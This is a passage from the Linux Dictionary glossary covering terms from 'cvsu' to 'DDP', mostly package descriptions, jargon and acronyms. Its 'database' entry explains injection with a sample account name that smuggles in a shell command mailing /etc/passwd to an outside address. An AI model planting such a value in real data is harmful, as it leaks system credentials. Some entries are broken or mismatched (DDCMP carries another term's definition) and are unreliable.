CVS utilities for use in working directories Several utilities which are used to facilitate working with the files in the working directory of a developer using CVS. The utilities included in this package are: + cvsu: Offline "cvs update" simulator. Lists the files found in the current directory (or in the directories which you specify). + cvsco: "Cruel checkout". Removes results of compilation and discards local changes. Deletes all the files except listed unmodified ones and checks out everything which seems to be missing. + cvsdiscard: Discards local changes but keeps results of compilation. Works like "cvsco", but only deletes files which are likely to cause merge conflicts. + cvspurge: CVS-based "make maintainer-clean". Removes results of compilation but keeps local changes intact. Removes unknown files, but keeps changes in files known to CVS. + cvstrim: Removes files and directories unknown to CVS. + cvschroot: Makes it possible to change CVS/Root in all subdirectories to the given value. + cvsrmadm: Removes all CVS directories in the project. It is safer if you occasionally make mistakes in the "find" commands. + cvsdo: Simulates some of the CVS commands (currently add, remove and diff) without any access to the CVS server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsweb

a CGI interface to your CVS repository cvsweb is a WWW CGI script that provides remote access to your CVS repository. It allows browsing of the full tree, with configurable access controls. It will display the revision history of a file, as well as produce diffs between revisions and allow downloading any revision of the whole file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cw

Command-line frontend to unixcw This package contains a simple command line client called cw, which sounds characters as Morse code on the console speaker. The included cwgen binary can generate groups of random characters for Morse code practice. Included are some examples files with embedded commands. These commands can be used to change speed, tone, spacing between characters and much more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cwcp

Nurses frontend to unixcw Cwcp is a curses-based interactive Morse code tutor program. It allows menu selection from a number of sending modes, and also permits character sounding options, such as the tone pitch, and sending speed, to be varied from the keyboard using a full-screen user interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cweb

Knuth's & Levy's C/C++ programming system. CWEB allows you to write documents which can be used simultaneously as C/C++ programs and as TeX documentation for them. The philosophy behind CWEB is that programmers who want to provide the best possible documentation for their programs need two things simultaneously: a language like TeX for formatting, and a language like C for programming. Neither type of language can provide the best documentation by itself. But when both are appropriately combined, we obtain a system that is much more useful than either language separately. You may also want to install the ctie package which allows one to work with multiple change files simultaneously. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cwebx

C/C++ literate programming system (Marc van Leeuwen's version) This version is a complete rewrite of Levy & Knuth's version of CWEB. It uses a slightly different syntax from the L&K version, but

Linux Dictionary

provides a compatibility mode allowing L&K CWEB sources to be processed, producing similar (though not necessarily identical) output. CWEB allows you to write documents which can be used simultaneously as C/C++ programs and as TeX documentation for them. The philosophy behind CWEB is that programmers who want to provide the best possible documentation for their programs need two things simultaneously: a language like TeX for formatting, and a language like C for programming. Neither type of language can provide the best documentation by itself. But when both are appropriately combined, we obtain a system that is much more useful than either language separately. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Common X-windows Interface (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expm

Check an XPM (X PixMap) file – XPM 1, 2, or 3. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cxref

Generates latex and HTML documentation for C programs. A program that takes as input a series of C source files and produces a LaTeX or HTML document containing a cross reference of the files/functions/variables in the program, including documentation taken from suitably formatted source code comments. The documentation is stored in the C source file in specially formatted comments, making it simple to maintain. The cross referencing includes lists of functions called, callers of each function, usage of global variables, header file inclusion, macro definitions and type definitions. Works for ANSI C, including many gcc extensions. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cyberpunk

Cyberpunk was originally a cultural sub-genre of science fiction taking place in a not-so-distant, dystopian, over-industrialized society. The term grew out of the work of William Gibson and Bruce Sterling and has evolved into a cultural label encompassing many different kinds of human, machine, and punk attitudes. It includes clothing and lifestyle choices as well. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cyberspace

Term originated by author William Gibson in his novel Neuromancer the word Cyberspace is currently used to describe the whole range of information resources available through computer networks. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cyberspace

The nebulous "place" where humans interact over computer networks, same as virtual space. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cylinder

A set of tracks on the platters of a hard disk. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cylinder

In hard and floppy disk drives, a unit of storage consisting of the set of tracks that occupy the same position on opposite sides of the platter. On a double-sided disk, a cylinder includes track 1 on the top of one another, a cylinder consists of track 1 on both sides of all the disks. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cylinders, heads, and sectors

The physical drive itself usually comprises several actual disks of which both sides are used. The sides are labelled 0, 1, 2, 3, and so on, and are also called heads because one magnetic head per side does the actual reading and writing. Each side/head has tracks, and each track is divided into segments called sectors. Each sector typically holds 512 bytes. The total amount of space on the drive in bytes is therefore: 512 x (sectors-per-track) x (tracks-per-side) x (number-of-sides) A single track and all the tracks of the same diameter (on all the sides) are called a cylinder. Disks are normally talked about in terms of "cylinders and sectors" instead of "sides, tracks, and sectors." Partitions are (usually) divided along cylinder boundaries. Hence, disks do not have arbitrarily sized partitions; rather, the size of the partition is usually a multiple of the amount of data held in a single cylinder. Partitions therefore have a definite inner and outer diameter. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CYMK

Cyan, Yellow, Magenta, blacK (color system) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cyrus

CMU Cyrus mail system (common files) Cyrus is a fully-featured IMAP daemon, with a number of features not found in other IMAP implementations, including:

- o Designed to handle massive quantities of mail
- o No need for users to have login accounts
- o Support for POP3 in addition to IMAP
- o Servers don't run as root
- o Easy support for mail quotas

For more information, see <http://asg.web.cmu.edu/cyrus/>. Note: Cyrus doesn't support reading from and storing mail in your standard mail spool - it stores mail in a separate directory in its own MH-like format. The Debian version of Cyrus has been modified to support authentication via PAM in addition to the standard UNIX password file. This package contains the common files needed by the other Cyrus components. The cyrus-imapd and/or cyrus-pop3d packages are needed to enable IMAP and POP3 support respectively. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dadadodo

Exterminates all rational thought DadaDodo is a program that analyses texts for Markov chains of word probabilities and then generates random sentences based on that. Sometimes these sentences are nonsense; but sometimes they cut right through to the heart of the matter and reveal hidden meanings. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAE

Digital Audio Extraction (CD, audio) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

daemon

/day'mn/ or /dee'mn/ n. [from the mythological meaning, later rationalized as the acronym `Disk And Execution MONitor'] A program that is not invoked explicitly, but lies dormant waiting for some condition(s) to occur. The idea is that the perpetrator of the condition need not be aware that a daemon is lurking (though often a program will commit an action only because it knows that it will implicitly invoke a daemon). For example, under ITS writing a file on the LPT spooler's directory would invoke the spooling daemon, which would then print the file. The advantage is that programs wanting (in this example) files printed need neither compete for access to nor understand any idiosyncrasies of the LPT. They simply enter their implicit requests and let the daemon decide what to do with them. Daemons are usually spawned automatically by the system, and may either live forever

or be regenerated at intervals. Daemon and demon are often used interchangeably, but seem to have distinct connotations. The term `daemon' was introduced to computing by CTSS people (who pronounced it /dee'mon/) and used it to refer to what ITS called a dragon; the prototype was a program called DAEMON that automatically made tape backups of the file system. Although the meaning and the pronunciation have drifted, we think this glossary reflects current (2000) usage. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Daemon

A background process of the operating system that usually has root security level permission. A daemon usually lurks in the background until something triggers it into activity, such as a specific time or date, time interval, receipt of e-mail, etc. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

daemon

A process lurking in the background, usually unnoticed, until something triggers it into action. For example, the `\cmd{update}` daemon wakes up every thirty seconds or so to flush the buffer cache, and the `\cmd{sendmail}` daemon awakes whenever someone sends mail. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

daemon

A program that runs continuously in the background, until activated by a particular event. A daemon can constantly query for requests or await direct action from a user or other process. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

daemon

a program which runs for an extended period (usually "forever") to handle requests for service as needed. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Daemon

A program, usually on a computer running UNIX, that serves some obscure function (such as routing electronic mail to its recipients) and usually has a very limited user interface. There's some debate about the origins of the word, but most say it derives from the devilish spirits of Greek mythology. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAEMON

Disk And Execution MONitor (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

daemon (service)

On UNIX, a daemon is a program running in the background, usually providing some sort of service. Typical daemons are those that provide e-mail, printing, telnet, FTP, and web access. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dancer-ircd

An IRC server designed for centrally maintained networks This is the ircd designed for use on OpenProjects Net (www.openprojects.net), based on the hybrid ircd used by efnet. It attempts to handle the network transparently as a unit, and to provide features to support the OPN philosophy. This package contains the main binary files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dancer-services

IRC services implementation for dancer-ircd This is the counterpart to dancer-ircd, a services implementation (nickserv, chanserv, etc) that works with the dancer protocol. It can connect to a remote server, but it is highly recommended that you run a local ircd instead and connect it to that. Note that dancer-services will not work properly with any ircd other than dancer-ircd. Dancer-services is essentially the same as hybserv, only patched to work with dancer-ircd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DANTE

Delivery of Advanced Network Technology to Europe (org., Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DANTE

Linux Dictionary

Deutschsprachige ANwendervereinigung TEx [e.v.] (TeX, user group) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dante-client

Provides a SOCKS wrapper for users behind a firewall. Dante provides "socksify" – a program which forwards network requests from any program to the SOCKS server (v4 or v5) which then performs them on your behalf. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dante-server

SOCKS server. dante-server provides "danted" – a SOCKS (v4 and v5) server From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAO

Data Access Objects (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAO

Destination Address Omitted [flag] (CATNIP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAO

Disk At Once (CD-R) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DASI

Dial Access Signaling Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DASP

Drive Active, Slave Present (IDE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DASS

Distributed Authentication Security Service (RFC 1507) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAT

Digital Audio Tape (Digital audio) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Data striping

An important method employed by redundant arrays of inexpensive disks (RAID) in which a single unit of data is distributed across several hard disks, increasing resistance to a failure in one of the drives. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

database

A collection of persistently accessed data that is typically stored for fast and/or arbitrary access. Data stored within a database can be queried, viewed, and manipulated by user applications or Web services such as forms and applets. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Database

A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

database

An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

database

The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank account where name is "I mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

datagram

A packet which includes both the source and destination addresses provided by the user, and not the network. Datagrams can also include data. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

datagram

In protocols, a datagram is a single transmission that stands by itself. They are often known as unreliable datagrams because there is not guarantee that they will reach their destination. It is up to some higher protocol or application to verify that a datagram reaches its destination. Streaming media (audio/video/voice) often use datagrams because it doesn't really matter if a few are lost in transmission. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

date

print or set the system date and time From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DATEV

DATEnVerarbeitungszentrale der steuerberatenden Berufe (org., Nuernberg, Germany) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DATEX

DATA EXchange From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DATEXJ

DATA EXchange - Jedermann ??? (Telekom), "DATEX-J" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DATEXL

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAVIS

DAimler-Benz Vertragspartner-Informationssystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAWN

Defense Attache Worldwide Network (network, mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DAX

Developer API eXtension (OS/2, IBM, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DB

DataBase From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db1

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. It should be installed if compatibility is needed with databases created with db1. This library used to be part of the glibc package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DB2

DataBase 2 (IBM, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. This library used to be part of the glibc package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DB2CS

DataBase 2 Client/Server (IBM, DB2, DB), "DB2 C/S" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2dvi

(Jade Wrapper) converts SGML files to DVI From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2html

(Jade Wrapper) converts SGML files to HTML From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2pdf

(Jade Wrapper) converts SGML files to PDF From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2ps

(Jade Wrapper) converts SGML files to PS From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db2rtf

(Jade Wrapper) converts SGML files to RTF From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DB2SDK

DataBase 2 Software Development Toolkit (DB2, IBM, DB), "DB2 SDK" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db4

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. The Berkeley DB includes B+tree, Extended Linear Hashing, Fixed and Variable-length record access methods, transactions, locking, logging, shared memory caching, and database recovery. The Berkeley DB supports C, C++, Java, and Perl APIs. It is used by many applications, including Python and Perl, so this should be installed on all systems. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBA

DataBase Administrator (DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBA

Drei Buchstaben Akronym From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBAC

DataBase Administration Center (DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBAS

DataBase Administration System (DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbbalancer

Database connection pooling, load balancing and write-replication DBBalancer provides facilities to transparently implement: – pooling of connections – load balancing across multiple backends – write replication to multiple backends DBBalancer is a middleware daemon that sits in between database clients, like C, C++, TCL, Java JDBC, Perl DBI, etc programs and a database server. Currently the only server supported is PostgreSQL, but the architecture is open to embrace more servers in future. Also see <http://dbbalancer.sourceforge.net/> for more information. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBC

Device Bay Controller From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBCS

Double-Byte Character Set From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBD

DataBase Description (IBM, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBDMA

??? Direct Memory Access (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBEF

Dual Brightness Enhancement Foile (LCD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbench

The dbench (disk) and tbench (TCP) benchmarks dbench and tbench simulate the load of the netbench "industry standard" benchmark used to rate (windows) file servers. Unlike netbench, they do not require a lab of Microsoft Windows PCs: dbench produces the filesystem load on a netbench run, and tbench produces the network load, allowing simpler bottleneck isolation. Note that this benchmark is *not* a realistic reflection of normal server load. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbf2mysql

Linux Dictionary

xBase <--> MySQL This program takes an xBase file and sends queries to an MySQL server to insert it into an MySQL table and vice versa. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbf2pg

Converting xBase files to PostgreSQL This program takes an xBase-file and sends queries to an PostgreSQL-server to insert it into a table. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBI

DataBase Interface (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbishell

Interactive SQL shell with readline support Database shell with readline support [command history, tab completion etc] based on the Perl DBI: Has specific support for Oracle, MySQL, Sybase, PostgreSQL, and a generic driver that should work for anything supported by DBI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBL

DataBase Language (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBLO

Dual Beam Landing Optimizer From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBLT

Dynamic Back Link Technology (WWW) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBM

DataBase Management, a library of functions which maintain key-content pairs in a data base. From NIS HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBM

DataBase Manager (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBME

DataBase Management Environment (DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBMS

DataBase Management System (DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBOS

Disk/Drum Based Operating System (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBP

DataBase Publishing (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBP

Delay Bandwidth Product From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBRAD

Data Base Relational Application Directory (DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBRM

Data Base Request Module (DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBS

Deutscher Bildungs-Server (DFN, WWW) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBS

Duplex Bus Selector From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbs

Files used for the development of DBS source packages DBS stands for Debian Build System and is an alternative approach for source packages which want to ship a pristine source and then apply patches to it. This allows the distribution of multiple patches inside one package that are applied during the build process. Please see <http://snoopy.apana.org.au/~bam/debian/faq/#dbs> for further information on DBS. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBSC

Dynamic Beam Spot Control (Eizo) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbskkd-cdb

The fastest dictionary server for SKK dbskkd-cdb is an alternate version of skkserv using cdb. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBTG

Data Base Task Group (CODASYL, DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dbview

View dBase III files Dbview is a little tool that will display dBase III and IV files. You can also use it to convert your old .dbf files for further use with Unix. It wasn't the intention to write a freaking viewer and reinvent the wheel again. Instead dbview is intend to be used in conjunction with your favourite unix text utilities like cut, recode and more. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DBVS

DatenBankVerwaltungsSystem (DB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_archive

the DB database archiver From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_checkpoint

the DB database checkpoint utility From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_deadlock

the DB database deadlock detector From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_dump

the DB database dump utility From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_dump185

the DB database dump utility From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_load

the DB database loader From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_printlog

Debugging utility to dump Berkeley DB log files. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_recover

the DB database recovery utility From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

db_stat

display DB statistics From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DC

Data Cartridge From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

DC

Device Context From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DC

Dublin Core [meta data] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dc

The GNU dc arbitrary precision reverse-polish calculator GNU dc is a reverse-polish desk calculator which supports unlimited precision arithmetic. It also allows you to define and call macros. A reverse-polish calculator stores numbers on a stack. Entering a number pushes it on the stack. Arithmetic operations pop arguments off the stack and push the results. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCA

Data Center Automation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCA

Defense Communications Agency (org., USA, mil., predecessor, DISA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCCA

Distributed Component Computing Architecture (Star, C/S) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCCH

Dedicated Control CHannel (GSM, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCCS

DisContiguous Shared Segments From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dcd

Command-line CD player dcd (Dave's CD player) is a small CD player, for people who think workbone is too bloated and graphical. All functions are accessible from the command line. Loop tracks in the background, use it with 'at' as an alarm clock, whatever. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCD

Data Carrier Detect (MODEM, RS-232) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCDB

DOMAIN Control DataBase (DOMAIN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCE

Data Circuit terminating Equipment (X.25, CCITT, IBM, HP, DEC, Tandem, Sun) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCE

Data Communications Equipment From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCE

Distributed Computing Environment (OSF) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCERPC

Distributed Computing Environment / Remote Procedure Call (DCE, RPC), "DCE/RPC" , "DCE RPC" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dgui

Direct Connect Graphical client (GTK+) (peer-based file-sharing) dc_gui is a gtk front-end for the dctl program. dctl handles all communication with dc hubs and clients, while dgui presents an interface that has many of the features of the original directconnect client, plus some really useful improvements. It is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administrators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". dgui is still alpha, so some care has to be taken - try it out! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCI

D

Linux Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dcctc

Direct Connect Text Client Text console client of well known DC (Direct Connect) protocol which offers peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administrators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". It is *really* not intended to be used "by hand". Instead You should install and use dcgui program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DCTN

DCU

Data Cache Unit (CPU, POWER) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

D

dd

/dee-dee/ vt. [Unix: from IBM JCL] Equivalent to cat or BLT. Originally the name of a Unix copy command with special options suitable for block-oriented devices; it was often used in heavy-handed system maintenance, as in "Let's dd the root partition onto a tape, then use the boot PROM to load it back on to a new disk". The Unix dd(1) was designed with a weird, distinctly non-Unixy keyword option syntax reminiscent of IBM System/360 JCL (which had an elaborate DD `Dataset Definition' specification for I/O devices); though the command filled a need, the interface design was clearly a prank. The jargon usage is now very rare outside Unix sites and now nearly obsolete even there, as dd(1) has been deprecated for a long time (though it has no exact replacement). The term has been displaced by BLT or simple English `copy'. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dd

convert and copy a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dd

copies a file (from standard input to standard output, by default) using specific input and output blocksizes, while optionally performing conversions on it. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ddclient

Update dynamic IP address at DynDNS.org A perl based client to update your dynamic IP address at DynDNS.org (or other dynamic DNS services such as Hammernode, Zoneedit or EasyDNS), thus allowing you and others to use a fixed hostname (myhost.dyndns.org) to access your machine. This client supports both the dynamic and (near) static services, MX setting, and alternative host. It caches the address, and only attempts the update if the address actually changes. For more information on DynDNS.org, see <http://www.dyndns.org/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDCMP

Distributed Database Connection Services /2 (IBM, DB, DRDA), "DDCS/2" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDD

Data Display Debugger (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ddd

The Data Display Debugger, a graphical debugger frontend. The Data Display Debugger (DDD) is a popular graphical user interface to UNIX debuggers such as GDB, DBX, XDB, JDB and others. Besides "usual" front-end features such as viewing source texts and breakpoints, DDD provides an interactive graphical data display, where data structures are displayed as graphs. Using DDD, you can reason about your application by watching its data, not just by viewing it execute lines of source code. Other DDD features include: debugging of programs written in Ada, C, C++, Chill, Fortran, Java, Modula, Pascal, Perl and Python; machine-level debugging; hypertext source navigation and lookup; breakpoint, backtrace, and history editors; preferences and settings editors; program execution in terminal emulator window; debugging on remote host; on-line manual; interactive help on the Motif user interface; GDB/DBX/XDB command-line interface with full editing, history, and completion capabilities. This version is linked against Lesstif, an LGPL-ed implementation of Motif. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDE

DatenenDEinrichtung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDE

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDOS

Distributed Denial Of Service [attack], "DDoS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDoS (Distributed Denial of Service)

A DDoS attack is one that pits many machines against a single victim. An example is the attacks of February 2000 against some of the biggest websites. Even though these websites have a theoretical bandwidth of a gigabit/second, distributing many agents throughout the Internet flooding them with traffic can bring them down. Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses. History: The original DDoS tools were clonebots used during IRC wars. See also: zombie. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDP

Datagram Delivery Protocol (AppleTalk) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDP

